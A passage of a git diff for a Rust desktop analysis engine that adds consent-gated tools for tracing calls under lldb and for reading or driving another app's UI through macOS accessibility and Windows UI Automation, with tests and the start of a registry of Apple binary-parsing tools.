cmd.run()?; + let _ = std::fs::remove_dir_all(&root); + + let hits: Vec = + out.stdout_text().lines().filter_map(|l| l.strip_prefix("CRAFT_HIT ").map(|f| json!({"function": f.trim()}))).take(p.max_events).collect(); + let truncated = hits.len() >= p.max_events; + let summary = format!( + "Observed {} call(s) under lldb while running {}.", + hits.len(), + exe.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default() + ); + let mut b = EvidenceBuilder::new( + "apple_calls_observe", + Subject { kind: "capture".into(), sha256: None, name: exe.file_name().map(|n| n.to_string_lossy().into_owned()) }, + env(ctx, "lldb"), + ) + .params(json!({"executable_name": exe.file_name().map(|n| n.to_string_lossy().into_owned()), "breakpoint_count": p.breakpoints.len(), "duration_ms": p.duration_ms})) + .result(json!({"hits": hits, "exit_code": out.code, "stderr_tail": out.stderr_text().chars().rev().take(2000).collect::().chars().rev().collect::()})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitation(Limitation::new("observational", "A trace shows one run; other inputs may call differently.")); + if truncated { + b = b.coverage(Coverage { + status: craft_anything_evidence::CoverageStatus::Partial, + examined: Some(hits.len() as u64), + total: None, + next_offset: None, + }); + } + Ok(ToolOutput::evidence(b.build()?)) + } + + // ---- accessibility helper (runtime_ui_read / runtime_ui_walkthrough_record) ---- + + /// The Swift source of our accessibility helper, compiled lazily on the host. + const UI_HELPER_SWIFT: &str = include_str!("apple_runtime/native_ui_helper.swift"); + + fn build_helper(root: &std::path::Path) -> Result { + let xcrun = craft_anything_platform::which::which("xcrun").ok_or_else(|| { + ToolError::new(ErrorCode::EngineMissing, "xcrun was not found.") + .with_remediation("Install the macOS command-line developer tools (xcode-select --install).") + })?; + let src = root.join("native_ui_helper.swift"); + craft_anything_platform::write_atomic(&src, UI_HELPER_SWIFT.as_bytes())?; + let bin = root.join("native_ui_helper"); + let cache = root.join("module-cache"); + Process::new(&xcrun) + .args(["swiftc", "-O", "-module-cache-path"]) + .arg(&cache) + .arg("-o") + .arg(&bin) + .arg(&src) + .stdin(StdinMode::Closed) + .timeout(Duration::from_secs(60)) + .label("swiftc") + .run_checked()?; + Ok(bin) + } + + pub(super) fn run_helper(ctx: &mut Ctx<'_>, request: Value, duration_ms: u64) -> Result { + let root = private_root()?; + let helper = build_helper(&root).inspect_err(|_| { + let _ = std::fs::remove_dir_all(&root); + })?; + let ct = ctx.cancel.clone(); + let out = Process::new(&helper) + .stdin(StdinMode::Bytes(serde_json::to_vec(&request).unwrap_or_default())) + .timeout(Duration::from_millis(duration_ms.saturating_add(10_000))) + .stdout_cap(16 * 1024 * 1024) + .cancel_when(move || ct.is_cancelled()) + .label("accessibility helper") + .run_checked(); + let _ = std::fs::remove_dir_all(&root); + let out = out?; + serde_json::from_slice(&out.stdout).map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("accessibility helper output was not JSON: {e}"))) + } + + pub fn runtime_ui_read(ctx: &mut Ctx<'_>, p: ObserveUiParams) -> Result { + let pid = p.pid.ok_or_else(|| ToolError::invalid("pid is required to read a running app's UI"))?; + let request = json!({"command": "observe", "pid": pid, "window_id": p.window_id, "screenshot": p.screenshot, "accessibility": p.accessibility, "max_nodes": p.max_nodes}); + let result = run_helper(ctx, request, 10_000)?; + let nodes = result.get("nodes").and_then(Value::as_array).map(Vec::len).unwrap_or(0); + let b = + EvidenceBuilder::new("runtime_ui_read", Subject { kind: "ui".into(), sha256: None, name: Some(format!("pid {pid}")) }, env(ctx, "accessibility")) + .params(json!({"pid": pid, "max_nodes": p.max_nodes, "screenshot": p.screenshot})) + .result(result) + .summary(format!("Read {nodes} accessibility node(s) from pid {pid}.")) + .confidence(Confidence::Observed) + .authority(Authority::OurRun); + Ok(ToolOutput::evidence(b.build()?)) + } + + pub fn runtime_ui_walkthrough_record(ctx: &mut Ctx<'_>, p: CaptureUiParams) -> Result { + let pid = p.pid.ok_or_else(|| ToolError::invalid("pid is required to drive a running app's UI"))?; + let steps: Vec = p.steps.iter().map(|s| json!({"action": s.action, "element": s.element})).collect(); + let request = json!({"command": "walkthrough", "pid": pid, "steps": steps, "max_nodes": p.max_nodes}); + let result = run_helper(ctx, request, p.duration_ms)?; + let b = EvidenceBuilder::new( + "runtime_ui_walkthrough_record", + Subject { kind: "ui".into(), sha256: None, name: Some(format!("pid {pid}")) }, + env(ctx, "accessibility"), + ) + .params(json!({"pid": pid, "step_count": p.steps.len()})) + .result(result) + .summary(format!("Ran {} UI step(s) against pid {pid}.", p.steps.len())) + .confidence(Confidence::Observed) + .authority(Authority::OurRun); + Ok(ToolOutput::evidence(b.build()?)) + } +} + +#[cfg(windows)] +mod windows { + use super::*; + use craft_anything_evidence::{Authority, Confidence, Environment, EvidenceBuilder, Limitation, Subject, host_triple}; + use craft_anything_platform::process::{Process, StdinMode}; + use serde_json::json; + use std::time::Duration; + + /// Reads or drives one process's UI Automation tree; the request arrives as JSON on stdin. + const UI_PS1: &str = include_str!("apple_runtime/native_ui_windows.ps1"); + + fn env(ctx: &Ctx<'_>) -> Environment { + Environment { clean_room: ctx.session.clean_room(), engine: "ui-automation".into(), engine_version: None, host: host_triple(), language_id: None } + } + + /// Run the UI Automation script with `request` (see its header). An error when the process + /// has no windows. + fn run(ctx: &mut Ctx<'_>, request: &Value, limit: Duration) -> Result { + // -EncodedCommand takes the script as base64 of UTF-16LE, so nothing in it needs quoting. + let utf16: Vec = UI_PS1.encode_utf16().flat_map(u16::to_le_bytes).collect(); + let windir = std::env::var_os("SystemRoot").map_or_else(|| std::path::PathBuf::from(r"C:\Windows"), std::path::PathBuf::from); + let shell = windir.join(r"System32\WindowsPowerShell\v1.0\powershell.exe"); + let args = ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-EncodedCommand"] + .map(String::from) + .into_iter() + .chain([super::super::web_common::b64_encode(&utf16)]); + let ct = ctx.cancel.clone(); + let out = Process::new(&shell) + .args(args) + .stdin(StdinMode::Bytes(serde_json::to_vec(request).unwrap_or_default())) + .timeout(limit) + .stdout_cap(16 << 20) + .cancel_when(move || ct.is_cancelled()) + .label("UI Automation reader") + .run_checked()?; + let json = out.stdout.strip_prefix(b"\xEF\xBB\xBF".as_slice()).unwrap_or(&out.stdout); + let result: Value = serde_json::from_slice(json) + .map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("the UI Automation reader's output was not JSON: {e}")))?; + if result.get("windows").and_then(Value::as_u64) == Some(0) { + let pid = request.get("pid").and_then(Value::as_u64).unwrap_or_default(); + let handle = if request.get("window_id").is_some_and(|w| !w.is_null()) { " with that handle" } else { "" }; + return Err(ToolError::new(ErrorCode::NotFound, format!("Process {pid} has no windows open{handle}.")) + .with_remediation("Pass the pid of a running app with a window on screen (Task Manager's Details tab shows it).")); + } + Ok(result) + } + + /// The UI Automation tree of a process's windows (`max` elements at most; `window_id` picks one + /// window by its handle). An error when it has no windows. + pub fn ui_tree(ctx: &mut Ctx<'_>, pid: u32, window_id: Option, max: usize) -> Result { + ctx.report(None, format!("Reading the screen of process {pid}")); + run(ctx, &json!({"command": "observe", "pid": pid, "window_id": window_id, "max_nodes": max}), Duration::from_secs(120)) + } + + fn control_view() -> Limitation { + Limitation::new( + "control_view", + "UI Automation's control view: plain layout containers are left out, and an app that draws its own controls (many games) shows one pane.", + ) + } + + pub fn runtime_ui_read(ctx: &mut Ctx<'_>, p: ObserveUiParams) -> Result { + let pid = p.pid.ok_or_else(|| ToolError::invalid("pid is required to read a running app's UI"))?; + let result = ui_tree(ctx, pid, p.window_id, if p.accessibility { p.max_nodes } else { 0 })?; + let nodes = result.get("nodes").and_then(Value::as_array).map(Vec::len).unwrap_or(0); + let mut b = EvidenceBuilder::new("runtime_ui_read", Subject { kind: "ui".into(), sha256: None, name: Some(format!("pid {pid}")) }, env(ctx)) + .params(json!({"pid": pid, "max_nodes": p.max_nodes, "screenshot": p.screenshot, "window_id": p.window_id})) + .result(result) + .summary(format!("Read {nodes} UI element(s) from pid {pid}.")) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitation(control_view()); + if p.screenshot { + b = b.limitation(Limitation::new("no_screenshot", "No screenshot is taken on Windows here; native_window_capture takes one.")); + } + Ok(ToolOutput::evidence(b.build()?)) + } + + pub fn runtime_ui_walkthrough_record(ctx: &mut Ctx<'_>, p: CaptureUiParams) -> Result { + let pid = p.pid.ok_or_else(|| ToolError::invalid("pid is required to drive a running app's UI"))?; + let steps: Vec = p.steps.iter().map(|s| json!({"action": s.action, "element": s.element})).collect(); + ctx.report(None, format!("Running {} step(s) on process {pid}", steps.len())); + let request = json!({"command": "walkthrough", "pid": pid, "steps": steps, "max_nodes": p.max_nodes}); + let result = run(ctx, &request, Duration::from_millis(p.duration_ms.saturating_add(10_000)))?; + let done = result + .get("steps") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter(|s| s.get("outcome").and_then(Value::as_str) == Some("dispatched")) + .count(); + let b = EvidenceBuilder::new("runtime_ui_walkthrough_record", Subject { kind: "ui".into(), sha256: None, name: Some(format!("pid {pid}")) }, env(ctx)) + .params(json!({"pid": pid, "step_count": p.steps.len()})) + .result(result) + .summary(format!("Ran {done} of {} UI step(s) against pid {pid}.", p.steps.len())) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitation(control_view()) + .limitation(Limitation::new( + "patterns_not_input", + "Steps use the controls' own UI Automation actions (press, expand, toggle, select, focus), not the mouse or keyboard; a control without one reports not_supported.", + )); + Ok(ToolOutput::evidence(b.build()?)) + } +} + +#[cfg(test)] +mod tests { + use crate::{CallOptions, Caller, Consent, Engine}; + use serde_json::json; + + fn granted() -> CallOptions<'static> { + CallOptions::new(Caller::Cli).with_consent(Consent::Granted) + } + + #[cfg(not(target_os = "macos"))] + #[test] + fn unsupported_on_this_host() { + let e = Engine::new(crate::testing::session()); + let mut tools = vec![("apple_calls_observe", json!({"executable": "/bin/true", "breakpoints": [{"kind": "function", "name": "main"}]}))]; + if !cfg!(windows) { + tools.push(("runtime_ui_read", json!({"pid": 1}))); + tools.push(("runtime_ui_walkthrough_record", json!({"pid": 1}))); + } + for (id, params) in tools { + let err = e.call(id, params, granted()).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::FeatureMissing, "{id}"); + assert_eq!(err.details.as_ref().unwrap()["reason"], "wrong_os", "{id}"); + assert!(err.remediation.is_some()); + // The host check comes before consent, and capabilities report the tool unavailable. + let err = e.call(id, json!({}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::FeatureMissing, "{id}"); + let spec = *e.registry().get(id).unwrap(); + assert!(!e.availability(&spec, &e.session()).available, "{id}"); + } + } + + #[cfg(target_os = "macos")] + #[test] + fn calls_validate_before_dispatch() { + let e = Engine::new(crate::testing::session()); + // Bad duration is rejected on every host, before any host check. + let err = e + .call("apple_calls_observe", json!({"executable": "/bin/true", "breakpoints": [{"kind": "function", "name": "main"}], "duration_ms": 1}), granted()) + .unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::BadInput); + } + + #[cfg(windows)] + #[test] + fn windows_reads_the_ui_tree_of_a_process_with_windows() { + let e = Engine::new(crate::testing::session()); + // This test process has no windows: a clear error, not an empty tree. + let err = e.call("runtime_ui_read", json!({"pid": std::process::id()}), granted()).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::NotFound, "{err:?}"); + assert!(err.message.contains("no windows"), "{}", err.message); + // Reading another app's screen needs consent, like on macOS. + let err = e.call("runtime_ui_read", json!({"pid": 1}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::ConsentRequired); + } + + /// An off-screen WinForms window: a button that writes "hi there" into a box, a password box + /// holding "hunter2" and a checkbox. Returns once its window can be read. + #[cfg(windows)] + fn test_window(e: &Engine) -> std::process::Child { + let form = "Add-Type -AssemblyName System.Windows.Forms, System.Drawing; $f = New-Object Windows.Forms.Form; \ + $f.StartPosition = 'Manual'; $f.Location = New-Object Drawing.Point(-4000, -4000); $f.ShowInTaskbar = $false; \ + $b = New-Object Windows.Forms.Button; $b.Name = 'hiButton'; $b.Text = 'Say hi'; \ + $t = New-Object Windows.Forms.TextBox; $t.Name = 'box'; $t.Top = 40; $b.Add_Click({ $t.Text = 'hi there' }); \ + $pw = New-Object Windows.Forms.TextBox; $pw.UseSystemPasswordChar = $true; $pw.Text = 'hunter2'; $pw.Top = 70; \ + $c = New-Object Windows.Forms.CheckBox; $c.Text = 'Remember me'; $c.Top = 100; \ + $f.Controls.AddRange(@($b, $t, $pw, $c)); [void]$f.ShowDialog()"; + let child = std::process::Command::new("powershell").args(["-NoProfile", "-NonInteractive", "-Command", form]).spawn().unwrap(); + for _ in 0..40 { + std::thread::sleep(std::time::Duration::from_millis(500)); + if e.call("runtime_ui_read", json!({"pid": child.id(), "max_nodes": 1}), granted()).is_ok() { + break; + } + } + child + } + + #[cfg(windows)] + #[test] + fn windows_never_reads_a_password_box() { + let e = Engine::new(crate::testing::session()); + let mut child = test_window(&e); + let tree = e.call("runtime_ui_read", json!({"pid": child.id()}), granted()).map(|o| o.to_json().to_string()); + let _ = child.kill(); + let _ = child.wait(); + let tree = tree.expect("the test window was read"); + assert!(tree.contains(r#""role":"Edit""#), "Win32 and WinForms controls are recognised: {tree}"); + assert!(!tree.contains("hunter2"), "a password box's text never shows: {tree}"); + } + + #[cfg(windows)] + #[test] + fn windows_runs_ui_steps_through_ui_automation() { + let e = Engine::new(crate::testing::session()); + let mut child = test_window(&e); + let steps = json!([ + {"action": "AXPress", "element": "hiButton"}, + {"action": "toggle", "element": "Remember me"}, + {"action": "press", "element": "No such control"}, + {"action": "wiggle", "element": "box"} + ]); + let r = e.call("runtime_ui_walkthrough_record", json!({"pid": child.id(), "steps": steps}), granted()).map(|o| o.to_json()); + let value = |nodes: &serde_json::Value| nodes.as_array().unwrap().iter().find(|n| n["identifier"] == "box").map(|n| n["value"].clone()); + // The click handler runs in the window's own process: on a busy machine it can land after + // the walkthrough's last picture, so the box is read until it shows the text (or 10 s pass). + let mut after = serde_json::Value::Null; + for _ in 0..40 { + after = e.call("runtime_ui_read", json!({"pid": child.id()}), granted()).map(|o| o.to_json()["result"]["nodes"].clone()).unwrap_or_default(); + if value(&after) == Some(json!("hi there")) { + break; + } + std::thread::sleep(std::time::Duration::from_millis(250)); + } + let _ = child.kill(); + let _ = child.wait(); + let r = r.expect("the walkthrough ran"); + let outcomes: Vec<&str> = r["result"]["steps"].as_array().unwrap().iter().map(|s| s["outcome"].as_str().unwrap()).collect(); + assert_eq!(outcomes, ["dispatched", "dispatched", "element_not_found", "unknown_action"], "{r}"); + assert_eq!(value(&r["result"]["nodes_before"]), Some(serde_json::Value::Null), "empty before"); + assert_eq!(value(&after), Some(json!("hi there")), "the press ran the button's own code"); + assert!(!r.to_string().contains("hunter2")); + assert_eq!(r["summary"], format!("Ran 2 of 4 UI step(s) against pid {}.", child.id())); + } + + #[cfg(target_os = "macos")] + #[test] + fn calls_need_consent() { + let e = Engine::new(crate::testing::session()); + let err = e.call("runtime_ui_read", json!({"pid": 1}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::ConsentRequired); + } + + #[test] + fn module_filtered_function_breakpoints_omit_unsupported_name_mask() { + use super::{Breakpoint, ObserveCallsParams, lldb_script}; + let p = ObserveCallsParams { + executable: "/tmp/probe".into(), + arguments: vec!["--flag".into()], + working_directory: None, + breakpoints: vec![ + Breakpoint::Function { name: "alpha".into(), module: Some("probe".into()) }, + Breakpoint::Function { name: "beta".into(), module: None }, + Breakpoint::ObjcMethod { class_name: "NSApplication".into(), selector: "run".into() }, + ], + duration_ms: 10_000, + max_events: 100, + }; + let script = lldb_script(&p); + assert!(script.contains("breakpoint set --name \"alpha\" --shlib \"probe\"\n"), "{script}"); + assert!(!script.contains("--name-mask"), "{script}"); + assert!(script.contains("breakpoint set --name \"beta\"\n"), "{script}"); + } +} diff --git a/desktop/crates/engine/src/tools/apple_runtime/native_ui_helper.swift b/desktop/crates/engine/src/tools/apple_runtime/native_ui_helper.swift new file mode 100644 index 0000000..5475429 --- /dev/null +++ b/desktop/crates/engine/src/tools/apple_runtime/native_ui_helper.swift @@ -0,0 +1,123 @@ +// Craft Anything accessibility helper. +// +// Reads a JSON request on stdin and writes a JSON result on stdout. It walks the macOS +// accessibility (AX) tree of a running application and, for walkthroughs, performs AX actions +// between reads. It is our own clean-room code; it names no third-party product. +// +// Request shapes: +// {"command":"observe","pid":1234,"window_id":null,"screenshot":false,"accessibility":true,"max_nodes":5000} +// {"command":"walkthrough","pid":1234,"steps":[{"action":"AXPress","element":"Save"}],"max_nodes":5000} +// +// Compiled lazily on the host with `xcrun swiftc`; never shipped as a binary. + +import Foundation +import ApplicationServices + +struct Request: Decodable { + var command: String + var pid: Int32? + var window_id: UInt64? + var screenshot: Bool? + var accessibility: Bool? + var max_nodes: Int? + var steps: [Step]? +} + +struct Step: Decodable { + var action: String + var element: String +} + +func attr(_ element: AXUIElement, _ name: String) -> String? { + var value: CFTypeRef? + if AXUIElementCopyAttributeValue(element, name as CFString, &value) == .success, + let v = value { + return (v as? String) ?? String(describing: v) + } + return nil +} + +func children(_ element: AXUIElement) -> [AXUIElement] { + var value: CFTypeRef? + if AXUIElementCopyAttributeValue(element, kAXChildrenAttribute as CFString, &value) == .success, + let arr = value as? [AXUIElement] { + return arr + } + return [] +} + +func walk(_ element: AXUIElement, depth: Int, budget: inout Int, out: inout [[String: Any]]) { + if budget <= 0 { return } + budget -= 1 + var node: [String: Any] = ["depth": depth] + if let role = attr(element, kAXRoleAttribute as String) { node["role"] = role } + if let title = attr(element, kAXTitleAttribute as String) { node["title"] = title } + if let value = attr(element, kAXValueAttribute as String) { node["value"] = value } + if let ident = attr(element, "AXIdentifier") { node["identifier"] = ident } + out.append(node) + for child in children(element) { + walk(child, depth: depth + 1, budget: &budget, out: &out) + } +} + +func snapshot(pid: Int32, maxNodes: Int) -> [[String: Any]] { + let app = AXUIElementCreateApplication(pid) + var out: [[String: Any]] = [] + var budget = maxNodes + walk(app, depth: 0, budget: &budget, out: &out) + return out +} + +func findElement(_ root: AXUIElement, _ needle: String, _ budget: inout Int) -> AXUIElement? { + if budget <= 0 { return nil } + budget -= 1 + if attr(root, kAXTitleAttribute as String) == needle || attr(root, "AXIdentifier") == needle { + return root + } + for child in children(root) { + if let found = findElement(child, needle, &budget) { return found } + } + return nil +} + +func emit(_ obj: [String: Any]) { + if let data = try? JSONSerialization.data(withJSONObject: obj, options: []), + let text = String(data: data, encoding: .utf8) { + print(text) + } +} + +let input = FileHandle.standardInput.readDataToEndOfFile() +guard let req = try? JSONDecoder().decode(Request.self, from: input), let pid = req.pid else { + emit(["error": "invalid request"]) + exit(2) +} + +if !AXIsProcessTrusted() { + emit(["error": "accessibility permission not granted", "nodes": []]) + exit(0) +} + +switch req.command { +case "observe": + let nodes = snapshot(pid: pid, maxNodes: req.max_nodes ?? 5000) + emit(["nodes": nodes, "truncated": nodes.count >= (req.max_nodes ?? 5000)]) +case "walkthrough": + let app = AXUIElementCreateApplication(pid) + var steps: [[String: Any]] = [] + let before = snapshot(pid: pid, maxNodes: req.max_nodes ?? 5000) + for step in req.steps ?? [] { + var budget = req.max_nodes ?? 5000 + var outcome = "element_not_found" + if let target = findElement(app, step.element, &budget) { + let result = AXUIElementPerformAction(target, step.action as CFString) + outcome = result == .success ? "dispatched" : "failed" + } + steps.append(["action": step.action, "element": step.element, "outcome": outcome]) + } + let after = snapshot(pid: pid, maxNodes: req.max_nodes ?? 5000) + emit(["steps": steps, "nodes_before": before, "nodes_after": after]) +default: + emit(["error": "unknown command"]) + exit(2) +} diff --git a/desktop/crates/engine/src/tools/apple_runtime/native_ui_windows.ps1 b/desktop/crates/engine/src/tools/apple_runtime/native_ui_windows.ps1 new file mode 100644 index 0000000..13ef243 --- /dev/null +++ b/desktop/crates/engine/src/tools/apple_runtime/native_ui_windows.ps1 @@ -0,0 +1,140 @@ +# Read, or drive, the UI Automation tree of one process's top-level windows and print JSON +# (runtime_ui_read and runtime_ui_walkthrough_record on Windows). The request arrives as UTF-8 +# JSON on standard input, so nothing from it is ever part of this script: +# {"command":"observe","pid":1234,"window_id":0,"max_nodes":5000} +# {"command":"walkthrough","pid":1234,"max_nodes":5000,"steps":[{"action":"press","element":"Save"}]} +# A password field's title and value are never read. +$ErrorActionPreference = 'Stop' +[Console]::OutputEncoding = New-Object System.Text.UTF8Encoding $false +Add-Type -AssemblyName UIAutomationClient, UIAutomationTypes, UIAutomationClientsideProviders +try { + Add-Type -MemberDefinition @' +[DllImport("user32.dll", CharSet = CharSet.Auto)] +public static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); +'@ -Name NativeMethods -Namespace CraftAnything -ErrorAction SilentlyContinue +} catch { } +# The proxies that make Win32 and WinForms controls real buttons, boxes and checkboxes (with their +# password flag) aren't loaded on their own here; registering them needs UI Automation started. +$null = [System.Windows.Automation.AutomationElement]::RootElement +try { + [System.Windows.Automation.ClientSettings]::RegisterClientSideProviders([UIAutomationClientsideProviders.UIAutomationClientSideProviders]::ClientSideProviderDescriptionTable) +} catch { } +$stdin = New-Object System.IO.MemoryStream +[Console]::OpenStandardInput().CopyTo($stdin) +$req = [Text.Encoding]::UTF8.GetString($stdin.ToArray()) | ConvertFrom-Json +$A = [System.Windows.Automation.AutomationElement] +$max = [int]$req.max_nodes +$window = if ($req.window_id) { [long]$req.window_id } else { 0 } +$walker = [System.Windows.Automation.TreeWalker]::ControlViewWalker + +function Windows { + $cond = New-Object System.Windows.Automation.PropertyCondition($A::ProcessIdProperty, [int]$req.pid) + @($A::RootElement.FindAll([System.Windows.Automation.TreeScope]::Children, $cond) | + Where-Object { $window -eq 0 -or $_.Current.NativeWindowHandle -eq $window }) +} + +function Walk($el, $depth) { + if ($nodes.Count -ge $max) { return } + # An element can close while it is read; it is left out. + try { + $c = $el.Current + $n = [ordered]@{ depth = $depth; role = $c.ControlType.ProgrammaticName -replace '^ControlType\.', '' } + # A password box can carry its text as its name; an edit box nothing recognised might be one. + $secret = $c.IsPassword -or ($c.ControlType -eq [System.Windows.Automation.ControlType]::Pane -and $c.ClassName -match 'edit') + if ($c.Name -and -not $secret) { $n.title = $c.Name } + if ($c.AutomationId) { $n.identifier = $c.AutomationId } + if ($c.ClassName) { $n.class = $c.ClassName } + $r = $c.BoundingRectangle + if (-not $r.IsEmpty) { $n.frame = [ordered]@{ x = [int]$r.X; y = [int]$r.Y; w = [int]$r.Width; h = [int]$r.Height } } + if (-not $c.IsEnabled) { $n.enabled = $false } + $p = $null + if (-not $secret -and $el.TryGetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern, [ref]$p)) { + $v = [string]$p.Current.Value + if ($v) { $n.value = if ($v.Length -gt 500) { $v.Substring(0, 500) } else { $v } } + } + $nodes.Add($n) + $child = $walker.GetFirstChild($el) + } catch { return } + while ($null -ne $child -and $nodes.Count -lt $max) { + Walk $child ($depth + 1) + try { $child = $walker.GetNextSibling($child) } catch { $child = $null } + } +} + +# Every window's tree, read now (a dialog opened by a step is one more window). +function Snapshot { + $script:nodes = New-Object System.Collections.Generic.List[object] + foreach ($w in (Windows)) { Walk $w 0 } + , $script:nodes.ToArray() +} + +# The first control, in any window, whose title or automation id is exactly $needle. +function Find($needle) { + $byName = New-Object System.Windows.Automation.PropertyCondition($A::NameProperty, $needle) + $byId = New-Object System.Windows.Automation.PropertyCondition($A::AutomationIdProperty, $needle) + $cond = New-Object System.Windows.Automation.OrCondition($byName, $byId) + foreach ($w in (Windows)) { + if ($w.Current.Name -eq $needle -or $w.Current.AutomationId -eq $needle) { return $w } + $found = $w.FindFirst([System.Windows.Automation.TreeScope]::Descendants, $cond) + if ($null -ne $found) { return $found } + } + $null +} + +# What each action may do, in order of preference: (pattern, method). +$ways = @{ + press = @(@('InvokePattern', 'Invoke'), @('TogglePattern', 'Toggle'), @('SelectionItemPattern', 'Select'), @('ExpandCollapsePattern', 'Expand')) + expand = @(, @('ExpandCollapsePattern', 'Expand')) + showmenu = @(, @('ExpandCollapsePattern', 'Expand')) + collapse = @(, @('ExpandCollapsePattern', 'Collapse')) + toggle = @(, @('TogglePattern', 'Toggle')) + select = @(, @('SelectionItemPattern', 'Select')) +} + +function Act($el, $action) { + try { + if ($action -in 'focus', 'raise') { $el.SetFocus(); return 'dispatched' } + if (-not $ways.ContainsKey($action)) { return 'unknown_action' } + foreach ($way in $ways[$action]) { + $pattern = ("System.Windows.Automation." + $way[0]) -as [type] + $p = $null + if ($el.TryGetCurrentPattern($pattern::Pattern, [ref]$p)) { + try { + [void]$p.($way[1]).Invoke() + return 'dispatched' + } catch { + # UI Automation's WindowsButton/WindowsCheckBox proxy calls SendInput, which fails with + # InvalidOperationException when the window is off-screen or running non-interactively + # (e.g. in tests or background jobs). Fall back to Win32 BM_CLICK for buttons and checkboxes. + $ct = $el.Current.ControlType + $hwnd = [IntPtr]$el.Current.NativeWindowHandle + if ($hwnd -ne [IntPtr]::Zero -and ($ct -eq [System.Windows.Automation.ControlType]::Button -or $ct -eq [System.Windows.Automation.ControlType]::CheckBox)) { + [void][CraftAnything.NativeMethods]::PostMessage($hwnd, 0x00F5, [IntPtr]::Zero, [IntPtr]::Zero) + return 'dispatched' + } + throw + } + } + } + 'not_supported' + } catch { 'failed' } +} + +$windows = @(Windows).Count +if ($req.command -eq 'walkthrough') { + $before = Snapshot + $steps = New-Object System.Collections.Generic.List[object] + foreach ($s in @($req.steps)) { + # `AXPress` and `press` are the same action. + $action = ([string]$s.action).ToLowerInvariant() -replace '^ax', '' + $el = Find ([string]$s.element) + $outcome = if ($null -eq $el) { 'element_not_found' } else { Act $el $action } + $steps.Add([ordered]@{ action = $s.action; element = $s.element; outcome = $outcome }) + Start-Sleep -Milliseconds 400 + } + $after = Snapshot + ConvertTo-Json -Depth 5 -Compress -InputObject @{ windows = $windows; steps = $steps.ToArray(); nodes_before = $before; nodes_after = $after } +} else { + $tree = Snapshot + ConvertTo-Json -Depth 5 -Compress -InputObject @{ windows = $windows; nodes = $tree; truncated = ($max -gt 0 -and $tree.Count -ge $max) } +} diff --git a/desktop/crates/engine/src/tools/apple_tools.rs b/desktop/crates/engine/src/tools/apple_tools.rs new file mode 100644 index 0000000..ceb789e --- /dev/null +++ b/desktop/crates/engine/src/tools/apple_tools.rs @@ -0,0 +1,1593 @@ +//! Apple tools with built-in parsers: Mach-O structure and slices, code signatures, property +//! lists, Swift demangling, compiled Interface Builder documents, keyed archives, asset catalogs +//! and dynamic-library resolution inside app bundles. No Apple tooling is needed, so all of it +//! works on any host. + +use super::artifact_tools::{WalkOptions, rel_to, walk_dir}; +use super::native_common::{page, spec}; +use super::static_input::{self, Input, builder, format_err}; +use crate::target::TargetKind; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, ErrorCode, Limitation, Location, Subject, ToolError, sha256_hex}; +use craft_anything_formats::{car, codesign, keyed_archive, macho_deps, nib, plist, swift_demangle, verify}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use sha2::Digest as _; +use std::collections::{BTreeMap, BTreeSet, HashSet, VecDeque}; +use std::path::{Component, Path, PathBuf}; + +pub fn specs() -> Vec { + use Toolset::Apple; + let e = Effects::EVIDENCE; + let n = Requires::Nothing; + vec![ + spec( + "apple_macho_show", + "Mach-O structure", + "Header, architecture slices, every load command (libraries with versions, run paths, UUID, build versions, encryption, code-signature range, entry point, segments) plus a page of imports and exports of a Mach-O file or an app bundle's executable. Built-in parser; uses the active target unless path is given.", + "See how a Mac or iPhone program is put together and which libraries it needs.", + Apple, + e, + n, + schema_of::, + apple_macho_show, + ), + spec( + "apple_signature_show", + "Code signature", + "Decode a Mach-O code signature: code directories (identifier, team id, flags, hash type, slot counts, cdhash), page and special-slot hashes re-computed and compared, requirements as text, entitlements, and whether a CMS signature is present. The CMS signature itself is not verified.", + "See who signed a Mac or iPhone program and what it is allowed to do.", + Apple, + e, + n, + schema_of::, + apple_signature_show, + ), + spec( + "apple_plist_show", + "Property list", + "Read a property list (XML or binary) as normalised JSON: a .plist file, an app bundle's Info.plist, or the Info.plist embedded in a Mach-O executable. Uses the active target unless path is given.", + "Read an Apple settings file (plist), such as an app's Info.plist.", + Apple, + e | Effects::CARRIES_TARGET_CONTENT, + n, + schema_of::, + apple_plist_show, + ), + spec( + "apple_slices_list", + "Architectures", + "List the architecture slices of a thin or universal Mach-O (CPU type and subtype, offset, size, alignment, file type).", + "See which kinds of processor a Mac or iPhone program runs on.", + Apple, + e, + n, + schema_of::, + apple_slices_list, + ), + spec( + "apple_swift_symbols_demangle", + "Demangle Swift symbols", + "Turn mangled Swift symbol names into readable declarations, in order, each marked demangled, unchanged (not a Swift name) or invalid. Built-in demangler; no target needed.", + "Turn scrambled Swift names into readable ones.", + Apple, + e, + n, + schema_of::, + apple_swift_symbols_demangle, + ), + spec( + "apple_nib_decode", + "Interface Builder documents", + "Decode compiled nib and storyboard files (NIB archives and keyed-archive nibs; .nib, .storyboardc and whole app bundles) into object graphs: objects with classes and values, outlet and action connections, and the view hierarchy. Bounded by max_documents, max_objects and max_connections.", + "See the screens, buttons and their wiring inside an app's interface files.", + Apple, + e, + n, + schema_of::, + apple_nib_decode, + ), + spec( + "apple_archive_decode", + "Keyed archive", + "Read an NSKeyedArchiver property list: archiver, $top entries, the object table (paged) and the object graph below a root with references resolved (cycles and repeats become $ref).", + 